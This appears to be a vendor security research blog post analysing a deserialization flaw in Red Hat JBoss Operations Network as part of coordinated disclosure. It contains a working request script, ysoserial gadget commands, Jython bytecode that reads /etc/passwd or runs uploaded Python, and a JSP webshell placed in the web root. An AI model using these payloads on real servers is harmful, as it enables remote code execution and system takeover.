As a Reverse Engineer at Tenable, I investigate disclosed vulnerabilities in order to write remote plugins for the Nessus® vulnerability scanner. Each investigation is unique and presents its own set of challenges. In some cases, new vulnerabilities are uncovered. One such investigation happened earlier this year when I was analyzing CVE-2016-3737 in Red Hat JBoss Operations Network (JON).

When I began looking into CVE-2016-3737, the entry in the National Vulnerability Database was empty but there was a Red Hat security advisory that read:

It was discovered that sending specially crafted HTTP request to the JON server would allow deserialization of that message without authentication. An attacker could use this flaw to cause remote code execution.

I looked up the most recent patch for JON (at the time this was Upgrade 5) and I found this information in the release notes:

The following security issues are also fixed with this release: It was found that the Apache commons-collections library permitted code execution when deserializing objects involving a specially constructed chain of classes. A remote attacker could use this flaw to execute arbitrary code with the permissions of the application using the commons-collections library. (CVE-2015-7501)

It appeared that JON had been patched for using libraries that are known to be exploitable during Java object deserialization. Furthermore, CVE-2016-3737 seems to indicate that there is a path through the JON server for a remote unauthenticated attacker to trigger deserialization. I decided that this seemed worthy of further investigation and, possibly, a remote detection plugin.

Vulnerability investigation

After installing an unpatched version of JON (3.3.0), my first task was to find where deserialization of user-provided data occurred. This can sometimes be a bit time consuming since the investigator has to track down all ingress points and figure out where an attacker can control the input. However, in this case it took almost no time at all. I was sniffing local traffic when I noticed these HTTP requests in the background:

You can see from the screenshot an HTTP POST request to port 7080 (which is the same port as the JON web interface) to the URL /jboss-remoting-servlet-invoker/ServerInvokerServlet . Most importantly, after the HTTP header, I’ve highlighted two bytes: 0xaced . These are the magic bytes at the beginning of a Java object stream. This is probably the unauthenticated input point that CVE-2016-373 refers to.

To be sure, I put together a little Python script to POST some data to the server:

import socket import sys if len(sys.argv) != 3: print 'Usage: ./on.py <host> <port>' sys.exit(0) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) payload = 'test' req = ('POST /jboss-remoting-servlet-invoker/ServerInvokerServlet/?generalizeSocketException=true HTTP/1.1\r

' + 'Content-Type: application/octet-stream\r

' + 'JBoss-Remoting-Version: 22\r

' + 'User-Agent: JBossRemoting - 2.5.4.SP5 (Flounder)\r

' + 'remotingContentType: remotingContentTypeNonString\r

' + 'Host: ubuntu:7080\r

' + 'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r

' + 'Connection: keep-alive\r

' + 'Content-Length: ' + str(len(payload)) + '\r

\r

') req += payload sock.sendall(req) data = sock.recv(4096) print data sock.close()

In the script, you can see that we aren’t sending a Java object stream. Instead we are just sending the string “test” after the HTTP header. My goal here is to trigger a corrupted stream exception. Executing the script yields this result:

[email protected]:~$ python on.py 127.0.0.1 7080 connecting to 127.0.0.1 port 7080 HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 4203 Date: Wed, 10 Aug 2016 15:05:51 GMT Connection: close <html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - invalid stream header: 74657374</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>invalid stream header: 74657374</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.io.StreamCorruptedException: invalid stream header: 74657374 java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:808) java.io.ObjectInputStream.<init>(ObjectInputStream.java:301) org.jboss.remoting.loading.ObjectInputStreamWithClassLoader.<init>(ObjectInputStreamWithClassLoader.java:100) org.jboss.remoting.serialization.impl.java.JavaSerializationManager.createInput(JavaSerializationManager.java:54) org.jboss.remoting.marshal.serializable.SerializableUnMarshaller.getMarshallingStream(SerializableUnMarshaller.java:75) org.jboss.remoting.marshal.serializable.SerializableUnMarshaller.read(SerializableUnMarshaller.java:122) org.jboss.remoting.marshal.http.HTTPUnMarshaller.read(HTTPUnMarshaller.java:71) org.jboss.remoting.transport.servlet.ServletServerInvoker.processRequest(ServletServerInvoker.java:367)

This response is exactly what I hoped for! We learn two useful things:

As hoped, the exception java.io.StreamCorruptedException: invalid stream header: 74657374 appears. This confirms that the payload is expected to be a Java object stream. Since we received a stack trace we can actually find the JAR where ServletServerInvoker is implemented. A little grepping from the JON installation directory uncovers that ServletServerInvoker is implemented in jboss-remoting-2.5.4.SP5.jar .

Next, since we have the unpatched version of JON installed, it makes sense to attempt a deserialization attack. ysoserial makes this quite easy. Below are the commands required to download, build, and generate a CommonsCollection5 gadget that will touch the file /tmp/danger_zone :

$ git clone https://github.com/frohoff/ysoserial.git $ cd ysoserial/ $ mvn install -DskipTests $ cd target/ $ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/danger_zone' > gadget.bin

We can then use the contents of gadget.bin as the payload in our Python script (instead of “test”). After the Python script is executed, we should be able to see the new or updated file in /tmp/ :

[email protected]:~$ ls -l /tmp/danger_zone -rw-rw-r-- 1 albino-lobster albino-lobster 0 Aug 10 08:35 /tmp/danger_zone

So far we have:

Found a point in the web interface that leads to deserialization of untrusted data (CVE-2016-3737). Verified that unpatched JON has an exploitable version of Commons Collections on the classpath (CVE-2015-7501).

However, before a remote plugin can be written, we need to verify that Upgrade 5 actually prevents the deserialization attack. Rerunning our Python script against a patched version of JON yields:

connecting to 127.0.0.1 port 7080 HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 7178 Date: Wed, 10 Aug 2016 15:24:07 GMT Connection: close <html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - Deserialization of InvokerTransformer is not permitted, see BZ 1279330</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>Deserialization of InvokerTransformer is not permitted, see BZ 1279330</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.lang.UnsupportedOperationException: Deserialization of InvokerTransformer is not permitted, see BZ 1279330 org.apache.commons.collections.functors.InvokerTransformer.readObject(InvokerTransformer.java:141) sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) java.lang.reflect.Method.invoke(Method.java:498) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)

You can see from the server’s response that Deserialization of InvokerTransformer is not permitted. This confirms that the patched JON is using a version of Commons Collections that is no longer exploitable during deserialization. We now have all the information we need to write a new remote plugin check!

However, having looked at a large number of these serialization vulnerabilities I can say with some authority that simply updating Commons Collections is not a recipe for success. There is a non-zero chance that there is another library waiting to be misused by an attacker. I decided to poke around a bit more.

Jython

In March of 2016, Alvaro Munoz and Christian Schneider contributed a new gadget to ysoserial called Jython1. This gadget abuses classes found in the Jython project. ysoserial uses jython-standalone-2.5.2.jar by default, but the latest version (2.7.0) is also usable.

The original version of Jython1 wrote a “webshell” (a JavaServer page that executed user-provided shell commands) to a location specified by the attacker. The webshell is written to disk on the remote target using Python bytecode that is executed upon deserialization. The relevant code from the original Jython1 :

// Set payload parameters String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>

" + "<html><body><form method=\"GET\" name=\"myform\" action=\"\">

" + "<input type=\"text\" name=\"cmd\">

" + "<input type=\"submit\" value=\"Send\">

" + "</form>

" + "<pre>

" + "<%

" + "if (request.getParameter(\"cmd\") != null) {

" + "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");

" + "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));

" + "OutputStream os = p.getOutputStream();

" + "InputStream in = p.getInputStream();

" + "DataInputStream dis = new DataInputStream(in);

" + "String disr = dis.readLine();

" + "while ( disr != null ) {

" + "out.println(disr);

" + "disr = dis.readLine();

" + "}

" + "}

" + "%>

" + "</pre></body></html>"; // Python bytecode to write a file on disk String code = "740000" + // 0 LOAD_GLOBAL 0 (open) "640100" + // 3 LOAD_CONST 1 (<PATH>) "640200" + // 6 LOAD_CONST 2 ('w') "830200" + // 9 CALL_FUNCTION 2 "690100" + // 12 LOAD_ATTR 1 (write) ?? "640300" + // 15 LOAD_CONST 3 (<webshell>) "830100" + // 18 CALL_FUNCTION 1 "01" + // 21 POP_TOP "640000" + // 22 LOAD_CONST "53"; // 25 RETURN_VALUE // Helping consts and names PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)}; String[] names = new String[]{"open", "write"}; // Generating PyBytecode wrapper for our python bytecode PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, ""); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());

It isn’t immediately obvious, but JON does have Jython on its classpath. For some reason, it has been repackaged into rhq-scripting-python-4.12.0.JON330GA.jar . However, we can peek into the JAR and verify that Jython exists. The following screenshot shows the Jython version information via JD-GUI:

So we should test if we can exploit patched JON using Jython1 , right? We want to write the webshell to a location that is accessible via the web server. The directory that the login page can be found in is:

/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/

So we’ll try to write it there. To generate the gadget, we can use the following command:

java -jar ysoserial-0.0.5-SNAPSHOT-all.jar Jython1 '/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/shell.jsp' > ./gadget.bin

However, when we test the payload against JON it doesn’t appear to work. The file gets created but the contents aren’t there:

[email protected]:~/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war$ ls -l total 56 -rw-r--r-- 1 albino-lobster albino-lobster 5178 Jan 15 2016 CoreGUI.html drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 css drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 fonts drwxr-xr-x 11 albino-lobster albino-lobster 4096 Nov 17 2014 images drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 img drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 js -rw-r--r-- 1 albino-lobster albino-lobster 5265 Jan 15 2016 login -rw-r--r-- 1 albino-lobster albino-lobster 3565 Nov 17 2014 mashup.html drwxrwxr-x 3 albino-lobster albino-lobster 4096 Jan 27 2016 META-INF drwxr-xr-x 4 albino-lobster albino-lobster 4096 Jan 15 2016 org.rhq.coregui.CoreGUI drwxr-xr-x 2 albino-lobster albino-lobster 4096 Jan 15 2016 org.rhq.core.RHQDomain -rw-rw-r-- 1 albino-lobster albino-lobster 0 Aug 10 11:26 shell.jsp drwxrwxr-x 4 albino-lobster albino-lobster 4096 Jan 27 2016 WEB-INF

This is odd. I’ve seen this gadget work before. There is nothing weird about the exception the server provides us either. It terminates in a ClassCastException like we’d expect:

[email protected]:~$ python on.py 127.0.0.1 7080 connecting to 127.0.0.1 port 7080 HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 4976 Date: Wed, 10 Aug 2016 18:26:06 GMT Connection: close <html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - org.python.core.PySingleton cannot be cast to java.lang.Integer</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>org.python.core.PySingleton cannot be cast to java.lang.Integer</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.lang.ClassCastException: org.python.core.PySingleton cannot be cast to java.lang.Integer com.sun.proxy.$Proxy1523.compare(Unknown Source) java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)

Perhaps Red Hat did something weird in the repackaging?

From another point of view, Jython1 isn’t great for writing a remote plugin. Touching the disk of a remote target is something that a plugin should avoid at all costs. Plugins that do touch disk get labeled ACT_DESTRUCTIVE_ATTACK and generally are used less due to concerns that the vulnerability scan may impact the integrity or availability of a server.

Considering these problems, this seems like a good opportunity to try and rewrite Jython1. A good starting point would be creating a version that simply reads /etc/passwd and returns it to the remote attacker. In order to accomplish that, we will need the Python bytecode that does this. We can accomplish that with the following steps:

Write the Python code that reads from /etc/passwd and then throws an exception:

[email protected]:~$ python Python 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> def throw_exception(): ... f = open('/etc/passwd', 'r') ... text = f.read() ... raise Exception(text) ... >>>

Dump the disassembled instructions:

>>> import dis >>> dis.dis(throw_exception) 2 0 LOAD_GLOBAL 0 (open) 3 LOAD_CONST 1 ('/etc/passwd') 6 LOAD_CONST 2 ('r') 9 CALL_FUNCTION 2 12 STORE_FAST 0 (f) 3 15 LOAD_FAST 0 (f) 18 LOAD_ATTR 1 (read) 21 CALL_FUNCTION 0 24 STORE_FAST 1 (text) 4 27 LOAD_GLOBAL 2 (Exception) 30 LOAD_FAST 1 (text) 33 CALL_FUNCTION 1 36 RAISE_VARARGS 1 39 LOAD_CONST 0 (None) 42 RETURN_VALUE >>>

Dump the instructions as hex:

>>> print [hex(ord(x)) for x in throw_exception.func_code.co_code] ['0x74', '0x0', '0x0', '0x64', '0x1', '0x0', '0x64', '0x2', '0x0', '0x83', '0x2', '0x0', '0x7d', '0x0', '0x0', '0x7c', '0x0', '0x0', '0x6a', '0x1', '0x0', '0x83', '0x0', '0x0', '0x7d', '0x1', '0x0', '0x74', '0x2', '0x0', '0x7c', '0x1', '0x0', '0x83', '0x1', '0x0', '0x82', '0x1', '0x0', '0x64', '0x0', '0x0', '0x53'] >>>

Double check that we wrote functional Python!

>>> throw_exception() Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<stdin>", line 4, in throw_exception Exception: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin …

We now need to convert the hex bytecode into something that we can use in Jython1.java . If you look at the output of step two you can see the size of each instruction. As such, we can combine steps two and three so that it looks like this in Java:

String code = "740000" + //0 LOAD_GLOBAL 0 (open) "640100" + //3 LOAD_CONST 1 ('/etc/passwd') "640200" + //6 LOAD_CONST 2 ('r') "830200" + //9 CALL_FUNCTION 2 "7d0000" + //12 STORE_FAST 0 (f) "7c0000" + //15 LOAD_FAST 0 (f) "690100" + //18 LOAD_ATTR 1 (read) "830000" + //21 CALL_FUNCTION 0 "7d0100" + //24 STORE_FAST 1 (text) "740200" + //27 LOAD_GLOBAL 2 (Exception) "7c0100" + //30 LOAD_FAST 1 (text) "830100" + //33 CALL_FUNCTION 1 "820100" + //36 RAISE_VARARGS 1 "640000" + //39 LOAD_CONST 0 (None) "53"; //42 RETURN_VALUE

Now we just need to update Jython1.java to reflect our use of consts and functions. We can just replace the existing code with this:

// Helping consts and names PyObject[] consts = new PyObject[]{new PyString(""), new PyString("/etc/passwd"), new PyString("r")}; String[] names = new String[]{"open", "read", "Exception"}; // Generating PyBytecode wrapper for our python bytecode PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, ""); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());

If we generate a new Jython1 gadget using our updated code and send it to the JON server to get deserialized we now get this:

[email protected]:~$ python on.py 127.0.0.1 7080 connecting to 127.0.0.1 port 7080 HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 7776 Date: Wed, 10 Aug 2016 19:07:57 GMT Connection: close <html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u></u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>Traceback (most recent call last): File "noname", line 0, in <module> File "noname", line 0, in <module> Exception: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin …

Nice! We now have a good proof of concept to pass to Red Hat as part of Tenable’s coordinated disclosure efforts.

But why not go one step further? The current gadget in ysoserial seems a little too specific. Let’s write a more generalized Jython1 for everyone to use. If we look at the built-in Python functions, we see that there is an interesting built-in called execfile which will execute a provided Python script. This seems like it would be a useful mechanism to upload Python scripts to a remote host and execute them.

Fully generating the code for the generalized version of Jython1 is an exercise I’ll leave to the reader, but the end result in ysoserial looks like this:

public PriorityQueue getObject(String command) throws Exception { String[] paths = command.split(";"); if (paths.length != 2) { throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); } // Set payload parameters String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); // Python bytecode to write a file on disk and execute it String code = "740000" + //0 LOAD_GLOBAL 0 (open) "640100" + //3 LOAD_CONST 1 (remote path) "640200" + //6 LOAD_CONST 2 ('w+') "830200" + //9 CALL_FUNCTION 2 "7D0000" + //12 STORE_FAST 0 (file) "7C0000" + //15 LOAD_FAST 0 (file) "690100" + //18 LOAD_ATTR 1 (write) "640300" + //21 LOAD_CONST 3 (python code) "830100" + //24 CALL_FUNCTION 1 "01" + //27 POP_TOP "7C0000" + //28 LOAD_FAST 0 (file) "690200" + //31 LOAD_ATTR 2 (close) "830000" + //34 CALL_FUNCTION 0 "01" + //37 POP_TOP "740300" + //38 LOAD_GLOBAL 3 (execfile) "640100" + //41 LOAD_CONST 1 (remote path) "830100" + //44 CALL_FUNCTION 1 "01" + //47 POP_TOP "640000" + //48 LOAD_CONST 0 (None) "53"; //51 RETURN_VALUE // Helping consts and names PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; String[] names = new String[]{"open", "write", "close", "execfile"}; // Generating PyBytecode wrapper for our python bytecode PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, ""); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); // Prepare Trigger Gadget Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; }

If we want to drop a webshell using the generalized Jython1 we just write a new Python script:

# Create the webshell from the original Jython1 (by Munoz & Schnieder) webshell = ('<%@ page import="java.util.*,java.io.*"%>' + '<html><title>Do you not?</title>' + '<body><form method="GET" name="myform" action="">' + '<input type="text" name="cmd">' + '<input type="submit" value="Send">' + '</form>' + '<pre>' + '<%' + 'if (request.getParameter("cmd") != null) {' + 'out.println("Command: " + request.getParameter("cmd") + "<br>");' + 'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' + 'OutputStream os = p.getOutputStream();' + 'InputStream in = p.getInputStream();' + 'DataInputStream dis = new DataInputStream(in);' + 'String disr = dis.readLine();' + 'while ( disr != null ) {' + 'out.println(disr);' + 'disr = dis.readLine();' + '}' + '}' + '%>' + '</pre></body></html>') f = open('/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/webshell.jsp', 'w') f.write(webshell) f.close()

We can then feed the Python script into the generalized Jython1 gadget like so:

java -jar ysoserial-0.0.5-SNAPSHOT-all.jar Jython1 "/home/albino-lobster/create_webshell.py;/tmp/cw.py" > gadget.bin

This command tells Jython1 to read in the local python file create_webshell.py and to write/execute it from /tmp/cw.py on the remote target. If we send our newly created Jython1 gadget to JON the webshell should appear at http://<JON address>/coregui/webshell.jsp . Here is how it looks:

Success!

Conclusion

I should emphasize that the exploitation of JON using deserialization and Jython has been disclosed to Red Hat already. The full timeline can be found in the Tenable Research Advisory.

Tenable also released a remote plugin to check for this vulnerability.

Acknowledgement

This blog entry involves the use of a tool called ysoserial. The tool was originally released by Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) at AppSecCali 2015. There have also been significant contributions from Moritz Bechler, Matthias Kaiser (@matthias_kaiser), Alvaro Munoz (@pwntester), and Christian Schneider (@cschneider4711). Thank you all for sharing your great work.